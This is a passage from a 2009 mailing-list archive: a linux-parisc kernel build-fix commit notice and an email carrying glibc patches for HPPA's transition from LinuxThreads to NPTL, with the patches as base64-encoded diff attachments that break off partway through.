Approved: news@gmane.org
Message-ID: <200904020246.n322kBwg000562@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238640384 15233 80.91.229.12 (2 Apr 2009 02:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 02:46:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 04:47:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpCxv-0006nW-Kf
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 04:47:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752870AbZDBCqP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 22:46:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753307AbZDBCqP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 22:46:15 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:52951 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752870AbZDBCqO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 22:46:14 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/Vq31dXbL3VkxEto3eeyFgWdNvxe2QFYo@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n322kBo2000563
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 02:46:11 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n322kBwg000562
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 02:46:11 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 02:46:12 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1459>

New commits:
commit bb7350194130ae6bd3fdec16fe1b7597c1c0bb8d
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Apr 2 02:40:41 2009 +0000

    parisc: fix build when ARCH_HAS_KMAP
    
    When we build for PA8X00, we define ARCH_HAS_KMAP, which results in
    the kmap_types.h include in highmem.h getting skipped...
    
    In file included from include/linux/pagemap.h:10,
                     from include/linux/mempolicy.h:62,
                     from init/main.c:52:
    include/linux/highmem.h:196: warning: 'enum km_type' declared inside parameter list
    include/linux/highmem.h:196: warning: its scope is only this definition or declaration, which is probably not what you want
    include/linux/highmem.h:196: error: parameter 1 ('type') has incomplete type
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.comp.lib.glibc.ports,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: HPPA will never have NPTL support. April fools. Here's the patch.
Date: Wed, 1 Apr 2009 22:46:39 -0400
Lines: 3689
Approved: news@gmane.org
Message-ID: <119aab440904011946y2dbaf012h998dbd3bb497cedd@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=001485f1ea66023bb6046689710f
X-Trace: ger.gmane.org 1238640459 15348 80.91.229.12 (2 Apr 2009 02:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 02:47:39 +0000 (UTC)
To: Aurelien Jarno <aurel32@debian.org>,  	Debian HPPA Port List <debian-hppa@lists.debian.org>, linux-parisc <linux-parisc@vger.kernel.org>,  	libc-ports@sourceware.org
Original-X-From: libc-ports-return-1151-gclgp-libc-ports=m.gmane.org@sourceware.org Thu Apr 02 04:48:53 2009
Return-path: <libc-ports-return-1151-gclgp-libc-ports=m.gmane.org@sourceware.org>
Envelope-to: gclgp-libc-ports@gmane.org
Original-Received: from sourceware.org ([209.132.176.174])
	by lo.gmane.org with smtp (Exim 4.50)
	id 1LpCz5-0006x6-7H
	for gclgp-libc-ports@gmane.org; Thu, 02 Apr 2009 04:48:53 +0200
Original-Received: (qmail 30671 invoked by alias); 2 Apr 2009 02:47:20 -0000
Original-Received: (qmail 30191 invoked by uid 22791); 2 Apr 2009 02:47:02 -0000
X-SWARE-Spam-Status: No, hits=2.8 required=5.0 	tests=AWL,BAYES_50,J_CHICKENPOX_22,J_CHICKENPOX_42,J_CHICKENPOX_43,J_CHICKENPOX_52,J_CHICKENPOX_74,J_CHICKENPOX_83,KAM_STOCKGEN,SARE_MSGID_LONG40,SPF_PASS,ZMIde_GENERICSPAM1
X-Spam-Check-By: sourceware.org
Original-Received: from ey-out-1920.google.com (HELO ey-out-1920.google.com) (74.125.78.150)     by sourceware.org (qpsmtpd/0.43rc1) with ESMTP; Thu, 02 Apr 2009 02:46:44 +0000
Original-Received: by ey-out-1920.google.com with SMTP id 13so64938eye.24         for <libc-ports@sourceware.org>; Wed, 01 Apr 2009 19:46:39 -0700 (PDT)
Original-Received: by 10.216.11.72 with SMTP id 50mr2863362wew.64.1238640399366; Wed,  	01 Apr 2009 19:46:39 -0700 (PDT)
X-IsSubscribed: yes
Mailing-List: contact libc-ports-help@sourceware.org; run by ezmlm
Precedence: bulk
List-Id: <libc-ports.sourceware.org>
List-Unsubscribe: <mailto:libc-ports-unsubscribe-gclgp-libc-ports=m.gmane.org@sourceware.org>
List-Subscribe: <mailto:libc-ports-subscribe@sourceware.org>
List-Post: <mailto:libc-ports@sourceware.org>
List-Help: <mailto:libc-ports-help@sourceware.org>, <http://sourceware.org/lists.html#faqs>
Original-Sender: libc-ports-owner@sourceware.org
Delivered-To: mailing list libc-ports@sourceware.org
Xref: news.gmane.org gmane.comp.lib.glibc.ports:161 gmane.linux.debian.ports.hppa:5654 gmane.linux.ports.parisc:1460
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1460>


--001485f1ea66023bb6046689710f
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Aurel,

Please find attached the patches that implements the POSIX Thread
compat functions for HPPA's transition from Linuxthreads to NPTL.

The core patch are changes required to core libc or nptl.

The ports patch are changes required to the ports add-on.

The compat-tests.tbz2 is a WIP of the small test-suite I am using
to manually validate each function works correctly.

I've run the patches through the full glibc make check and I don't
see any serious regressions.

Could you please build with these patches and report back the
results of the glibc testsuite?

I've CC'd libc-ports just to have a record of what such a massing
versioning looks like, and the hacks required to accomplish it.

Cheers,
Carlos.

--001485f1ea66023bb6046689710f
Content-Type: text/x-diff; charset=US-ASCII; name="2009-04-01-core-compat.diff"
Content-Disposition: attachment; filename="2009-04-01-core-compat.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ft0ubh220

SW5kZXg6IENoYW5nZUxvZwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBm
aWxlOiAvY3ZzL2dsaWJjL2xpYmMvQ2hhbmdlTG9nLHYKcmV0cmlldmluZyBy
ZXZpc2lvbiAxLjExNTU4CmRpZmYgLXUgLXAgLXIxLjExNTU4IENoYW5nZUxv
ZwotLS0gQ2hhbmdlTG9nCTIgQXByIDIwMDkgMDE6MTk6NDcgLTAwMDAJMS4x
MTU1OAorKysgQ2hhbmdlTG9nCTIgQXByIDIwMDkgMDI6MzY6NTQgLTAwMDAK
QEAgLTEsMyArMSwxMCBAQAorMjAwOS0wNC0wMSAgQ2FybG9zIE8nRG9uZWxs
ICA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+CisKKwkqIGNzdS9pbml0LmM6
IFJlbmFtZSB0byAuLi4KKwkqIGNzdS9jc3UtaW5pdC5jOiAuLi4gaGVyZS4K
KwkqIGNzdS9NYWtlZmlsZTogVXNlIGNzdS1pbml0LgorCSogVmVyc2lvbi5k
ZWY6IEFkZCBHTElCQ18yLjkuCisKIDIwMDktMDQtMDEgIFJvbGFuZCBNY0dy
YXRoICA8cm9sYW5kQHJlZGhhdC5jb20+CiAKIAkqIGVsZi9lbGYuaCAoUl9T
UEFSQ19HTE9CX0pNUCk6IE5ldyBtYWNyby4KSW5kZXg6IFZlcnNpb25zLmRl
Zgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAvY3ZzL2dsaWJj
L2xpYmMvVmVyc2lvbnMuZGVmLHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjc0
CmRpZmYgLXUgLXAgLXIxLjc0IFZlcnNpb25zLmRlZgotLS0gVmVyc2lvbnMu
ZGVmCTMgRGVjIDIwMDggMDQ6MTk6MDYgLTAwMDAJMS43NAorKysgVmVyc2lv
bnMuZGVmCTIgQXByIDIwMDkgMDI6MzY6NTQgLTAwMDAKQEAgLTg4LDYgKzg4
LDcgQEAgbGlicHRocmVhZCB7CiAgIEdMSUJDXzIuMy40CiAgIEdMSUJDXzIu
NAogICBHTElCQ18yLjYKKyAgR0xJQkNfMi45CiAgIEdMSUJDX1BSSVZBVEUK
IH0KIGxpYnJlc29sdiB7CkluZGV4OiBjc3UvaW5pdC5jCj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KUkNTIGZpbGU6IGNzdS9pbml0LmMKZGlmZiAtTiBjc3Uv
aW5pdC5jCi0tLSBjc3UvaW5pdC5jCTYgSnVsIDIwMDEgMDQ6NTQ6NDUgLTAw
MDAJMS40CisrKyAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAw
MApAQCAtMSwyNyArMCwwIEBACi0vKiBTcGVjaWFsIHN0YXJ0dXAgc3VwcG9y
dC4KLSAgIENvcHlyaWdodCAoQykgMTk5NywgMTk5OCBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4KLSAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRo
ZSBHTlUgQyBMaWJyYXJ5LgotCi0gICBUaGUgR05VIEMgTGlicmFyeSBpcyBm
cmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IK
LSAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMKLSAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5
IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgotICAgdmVy
c2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikg
YW55IGxhdGVyIHZlcnNpb24uCi0KLSAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlz
IGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2Vm
dWwsCi0gICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZl
biB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgotICAgTUVSQ0hBTlRBQklMSVRZ
IG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRo
ZSBHTlUKLSAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBt
b3JlIGRldGFpbHMuCi0KLSAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBh
IGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKLSAgIExp
Y2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3
cml0ZSB0byB0aGUgRnJlZQotICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5j
LiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKLSAg
IDAyMTExLTEzMDcgVVNBLiAgKi8KLQotI2lmIGRlZmluZWQgVVNFX0lOX0xJ
QklPICYmIGRlZmluZWQgX19HTlVDX18gJiYgX19HTlVDX18gPj0gMgotCi0j
aW5jbHVkZSA8X0dfY29uZmlnLmg+Ci0KLS8qIFRoaXMgcmVjb3JkcyB3aGlj
aCBzdGRpbyBpcyBsaW5rZWQgYWdhaW5zdCBpbiB0aGUgYXBwbGljYXRpb24u
ICovCi1jb25zdCBpbnQgX0lPX3N0ZGluX3VzZWQgPSBfR19JT19JT19GSUxF
X1ZFUlNJT047Ci0KLSNlbmRpZgpJbmRleDogY3N1L2NzdS1pbml0LmMKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogY3N1L2NzdS1pbml0LmMK
ZGlmZiAtTiBjc3UvY3N1LWluaXQuYwotLS0gL2Rldi9udWxsCTEgSmFuIDE5
NzAgMDA6MDA6MDAgLTAwMDAKKysrIGNzdS9jc3UtaW5pdC5jCTIgQXByIDIw
MDkgMDI6MzY6NTUgLTAwMDAKQEAgLTAsMCArMSwyNyBAQAorLyogU3BlY2lh
bCBzdGFydHVwIHN1cHBvcnQuCisgICBDb3B5cmlnaHQgKEMpIDE5OTcsIDE5
OTggRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZp
bGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3Ry
aWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1z
IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNl
IGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9u
OyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAo
YXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0
IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJB
TlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAg
IE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIg
UFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJs
aWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxk
IGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVy
YWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExp
YnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMw
LCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpZiBk
ZWZpbmVkIFVTRV9JTl9MSUJJTyAmJiBkZWZpbmVkIF9fR05VQ19fICYmIF9f
R05VQ19fID49IDIKKworI2luY2x1ZGUgPF9HX2NvbmZpZy5oPgorCisvKiBU
aGlzIHJlY29yZHMgd2hpY2ggc3RkaW8gaXMgbGlua2VkIGFnYWluc3QgaW4g
dGhlIGFwcGxpY2F0aW9uLiAqLworY29uc3QgaW50IF9JT19zdGRpbl91c2Vk
ID0gX0dfSU9fSU9fRklMRV9WRVJTSU9OOworCisjZW5kaWYKSW5kZXg6IGNz
dS9NYWtlZmlsZQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAv
Y3ZzL2dsaWJjL2xpYmMvY3N1L01ha2VmaWxlLHYKcmV0cmlldmluZyByZXZp
c2lvbiAxLjc5CmRpZmYgLXUgLXAgLXIxLjc5IE1ha2VmaWxlCi0tLSBjc3Uv
TWFrZWZpbGUJMSBNYXIgMjAwNiAxMDozNTo0NyAtMDAwMAkxLjc5CisrKyBj
c3UvTWFrZWZpbGUJMiBBcHIgMjAwOSAwMjozNjo1NSAtMDAwMApAQCAtNDAs
NyArNDAsNyBAQCBvbWl0LWRlcHMgPSAkKHBhdHN1YnN0ICUubywlLCQoc3Rh
cnQtaW5zCiAJCQkgICAgIFMkKHN0YXJ0LWluc3RhbGxlZC1uYW1lKSkKIGlu
c3RhbGwtbGliID0gJChzdGFydC1pbnN0YWxsZWQtbmFtZSkgZyQoc3RhcnQt
aW5zdGFsbGVkLW5hbWUpICQoY3N1LWR1bW1pZXMpCiBkaXN0cmlidXRlID0g
aW5pdGZpbmkuYyBnbW9uLXN0YXJ0LmMgc3RhcnQuYyBkZWZzLmF3ayBcCi0J
ICAgICBhYmktbm90ZS5TIGluaXQuYyBjIG5vdC1jYW5jZWwuaAorCSAgICAg
YWJpLW5vdGUuUyBjc3UtaW5pdC5jIGMgbm90LWNhbmNlbC5oCiBnZW5lcmF0
ZWQgPSB2ZXJzaW9uLWluZm8uaAogYmVmb3JlLWNvbXBpbGUgPSAkKG9ianBm
eCl2ZXJzaW9uLWluZm8uaAogCkBAIC0xMjUsNyArMTI1LDcgQEAgJChvYmpw
ZngpZGVmcy5oOiAkKG9ianBmeClpbml0ZmluaS5zCiBlbmRpZgogCiBpZmVx
ICh5ZXMsJChlbGYpKQotZXh0cmEtb2JqcyArPSBhYmktbm90ZS5vIGluaXQu
bworZXh0cmEtb2JqcyArPSBhYmktbm90ZS5vIGNzdS1pbml0Lm8KIGFzbS1D
UFBGTEFHUyArPSAtSSQob2JqcGZ4KS4KIGVuZGlmCiAKQEAgLTE0MywxMyAr
MTQzLDEzIEBAIGlmZXEgKHllcywkKGVsZikpCiAjIFdlIGxpbmsgdGhlIEVM
RiBzdGFydGZpbGUgYWxvbmcgd2l0aCBhIFNIVF9OT1RFIHNlY3Rpb24gaW5k
aWNhdGluZwogIyB0aGUga2VybmVsIEFCSSB0aGUgYmluYXJpZXMgbGlua2Vk
IHdpdGggdGhpcyBsaWJyYXJ5IHdpbGwgcmVxdWlyZS4KICQob2JqcGZ4KSQo
c3RhcnQtaW5zdGFsbGVkLW5hbWUpOiAkKG9ianBmeClzdGFydC5vICQob2Jq
cGZ4KWFiaS1ub3RlLm8gXAotCQkJCSAgJChvYmpwZngpaW5pdC5vCisJCQkJ
ICAkKG9ianBmeCljc3UtaW5pdC5vCiAJJChsaW5rLXJlbG9jYXRhYmxlKQog
JChvYmpwZngpUyQoc3RhcnQtaW5zdGFsbGVkLW5hbWUpOiAkKG9ianBmeClz
dGFydC5vcyAkKG9ianBmeClhYmktbm90ZS5vIFwKLQkJCQkgICQob2JqcGZ4
KWluaXQubworCQkJCSAgJChvYmpwZngpY3N1LWluaXQubwogCSQobGluay1y
ZWxvY2F0YWJsZSkKICQob2JqcGZ4KWIkKHN0YXJ0LWluc3RhbGxlZC1uYW1l
KTogJChvYmpwZngpc3RhcnQub2IgJChvYmpwZngpYWJpLW5vdGUub2IgXAot
CQkJCSAgJChvYmpwZngpaW5pdC5vYgorCQkJCSAgJChvYmpwZngpY3N1LWlu
aXQub2IKIAkkKGxpbmstcmVsb2NhdGFibGUpCiBlbHNlCiAjIFRoZSBzdGFy
dGZpbGUgaXMgaW5zdGFsbGVkIHVuZGVyIGRpZmZlcmVudCBuYW1lcywgc28g
d2UganVzdCBjYWxsIG91cgo=

--001485f1ea66023bb6046689710f
Content-Type: text/x-diff; charset=US-ASCII; name="2009-04-01-ports-compat.diff"
Content-Disposition: attachment; filename="2009-04-01-ports-compat.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ft0ubmkw1

SW5kZXg6IENoYW5nZUxvZy5ocHBhCj09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
UkNTIGZpbGU6IC9jdnMvZ2xpYmMvcG9ydHMvQ2hhbmdlTG9nLmhwcGEsdgpy
ZXRyaWV2aW5nIHJldmlzaW9uIDEuNTYKZGlmZiAtdSAtcCAtcjEuNTYgQ2hh
bmdlTG9nLmhwcGEKLS0tIENoYW5nZUxvZy5ocHBhCTI2IEZlYiAyMDA5IDIx
OjM2OjEzIC0wMDAwCTEuNTYKKysrIENoYW5nZUxvZy5ocHBhCTIgQXByIDIw
MDkgMDI6MzQ6MDIgLTAwMDAKQEAgLTEsMyArMSw1OCBAQAorMjAwOS0wNC0w
MSAgQ2FybG9zIE8nRG9uZWxsICA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+
CisKKwkqIHN5c2RlcHMvaHBwYS9ucHRsL01ha2VmaWxlOiBBZGQgY29tcGF0
IHJvdXRpbmVzCisJd2hlbiBidWlsZGluZyBucHRsLgorCisJc3lzZGVwcy91
bml4L3N5c3YvbGludXgvaHBwYS9ucHRsLworCSogVmVyc2lvbnM6IE5ldyBm
aWxlLgorCSogZm9yd2FyZC5jOiBOZXcgZmlsZS4KKwkqIGluaXQuYzogTmV3
IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX2NvbmRfYnJvYWRjYXN0LmM6
IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9jb25kX2Rlc3Ryb3ku
YzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX2NvbmRfaW5pdC5j
OiBOZXcgZmlsZS4KKwkqIG9sZF9ocHBhX3B0aHJlYWRfY29uZF9zaWduYWwu
YzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX2NvbmRfdGltZWR3
YWl0LmM6IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9jb25kX3dh
aXQuYzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX211dGV4X2Rl
c3Ryb3kuYzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX211dGV4
X2luaXQuYzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX211dGV4
X2xvY2suYzogTmV3IGZpbGUuCisJKiBvbGRfaHBwYV9wdGhyZWFkX211dGV4
X3RpbWVkbG9jay5jOiBOZXcgZmlsZS4KKwkqIG9sZF9ocHBhX3B0aHJlYWRf
bXV0ZXhfdHJ5bG9jay5jOiBOZXcgZmlsZS4KKwkqIG9sZF9ocHBhX3B0aHJl
YWRfbXV0ZXhfdW5sb2NrLmM6IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRo
cmVhZF9yd2xvY2tfZGVzdHJveS5jOiBOZXcgZmlsZS4KKwkqIG9sZF9ocHBh
X3B0aHJlYWRfcndsb2NrX2luaXQuYzogTmV3IGZpbGUuCisJKiBvbGRfaHBw
YV9wdGhyZWFkX3J3bG9ja19yZGxvY2suYzogTmV3IGZpbGUuCisJKiBvbGRf
aHBwYV9wdGhyZWFkX3J3bG9ja190aW1lZHJkbG9jay5jOiBOZXcgZmlsZS4K
KwkqIG9sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RpbWVkd3Jsb2NrLmM6IE5l
dyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdHJ5cmRsb2Nr
LmM6IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdHJ5
d3Jsb2NrLmM6IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9yd2xv
Y2tfdW5sb2NrLmM6IE5ldyBmaWxlLgorCSogb2xkX2hwcGFfcHRocmVhZF9y
d2xvY2tfd3Jsb2NrLmM6IE5ldyBmaWxlLgorCSogcHRocmVhZC1mdW5jdGlv
bnMuaDogTmV3IGZpbGUuCisJKiBwdGhyZWFkUC5oOiBOZXcgZmlsZS4KKwkq
IHB0aHJlYWRfY29uZF9icm9hZGNhc3QuYzogTmV3IGZpbGUuCisJKiBwdGhy
ZWFkX2NvbmRfZGVzdHJveS5jOiBOZXcgZmlsZS4KKwkqIHB0aHJlYWRfY29u
ZF9pbml0LmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9jb25kX3NpZ25hbC5j
OiBOZXcgZmlsZS4KKwkqIHB0aHJlYWRfY29uZF90aW1lZHdhaXQuYzogTmV3
IGZpbGUuCisJKiBwdGhyZWFkX2NvbmRfd2FpdC5jOiBOZXcgZmlsZS4KKwkq
IHB0aHJlYWRfbXV0ZXhfY29uZF9sb2NrLmM6IE5ldyBmaWxlLgorCSogcHRo
cmVhZF9tdXRleF9kZXN0cm95LmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9t
dXRleF9pbml0LmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9tdXRleF9sb2Nr
LmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9tdXRleF90aW1lZGxvY2suYzog
TmV3IGZpbGUuCisJKiBwdGhyZWFkX211dGV4X3RyeWxvY2suYzogTmV3IGZp
bGUuCisJKiBwdGhyZWFkX211dGV4X3VubG9jay5jOiBOZXcgZmlsZS4KKwkq
IHB0aHJlYWRfcndsb2NrX2Rlc3Ryb3kuYzogTmV3IGZpbGUuCisJKiBwdGhy
ZWFkX3J3bG9ja19pbml0LmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9yd2xv
Y2tfcmRsb2NrLmM6IE5ldyBmaWxlLgorCSogcHRocmVhZF9yd2xvY2tfdGlt
ZWRyZGxvY2suYzogTmV3IGZpbGUuCisJKiBwdGhyZWFkX3J3bG9ja190aW1l
ZHdybG9jay5jOiBOZXcgZmlsZS4KKwkqIHB0aHJlYWRfcndsb2NrX3RyeXJk
bG9jay5jOiBOZXcgZmlsZS4KKwkqIHB0aHJlYWRfcndsb2NrX3RyeXdybG9j
ay5jOiBOZXcgZmlsZS4KKwkqIHB0aHJlYWRfcndsb2NrX3VubG9jay5jOiBO
ZXcgZmlsZS4KKwkqIHB0aHJlYWRfcndsb2NrX3dybG9jay5jOiBOZXcgZmls
ZS4KKwogMjAwOS0wMi0yNSAgQ2FybG9zIE8nRG9uZWxsICA8Y2FybG9zQGNv
ZGVzb3VyY2VyeS5jb20+CiAKIAkqIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9iaXRzL3B0aHJlYWR0eXBlcy5oOgpJbmRleDogc3lzZGVw
cy9ocHBhL25wdGwvTWFrZWZpbGUKPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpS
Q1MgZmlsZTogL2N2cy9nbGliYy9wb3J0cy9zeXNkZXBzL2hwcGEvbnB0bC9N
YWtlZmlsZSx2CnJldHJpZXZpbmcgcmV2aXNpb24gMS4yCmRpZmYgLXUgLXAg
LXIxLjIgTWFrZWZpbGUKLS0tIHN5c2RlcHMvaHBwYS9ucHRsL01ha2VmaWxl
CTIzIEZlYiAyMDA4IDAxOjE4OjE3IC0wMDAwCTEuMgorKysgc3lzZGVwcy9o
cHBhL25wdGwvTWFrZWZpbGUJMiBBcHIgMjAwOSAwMjozNDowMiAtMDAwMApA
QCAtMjUsMyArMjUsMjggQEAgZW5kaWYKICMgdGhpcyBiZWNhdXNlIHRoZSBk
ZWZhdWx0IGlzIHRvbyBzbWFsbCB0byBydW4gd2l0aC4gCiB0c3Qtb2Rkc3Rh
Y2tsaW1pdC1FTlYgPSA7IHVsaW1pdCAtcyA4MTkzOwogCitpZmVxICgkKHN1
YmRpciksbnB0bCkKKyMgQWRkIGNvbXBhdCByb3V0aW5lcyBmb3IgYWxsIHZl
cnNpb25lZCBmdW5jdGlvbnMuCitsaWJwdGhyZWFkLXJvdXRpbmVzICs9IFwK
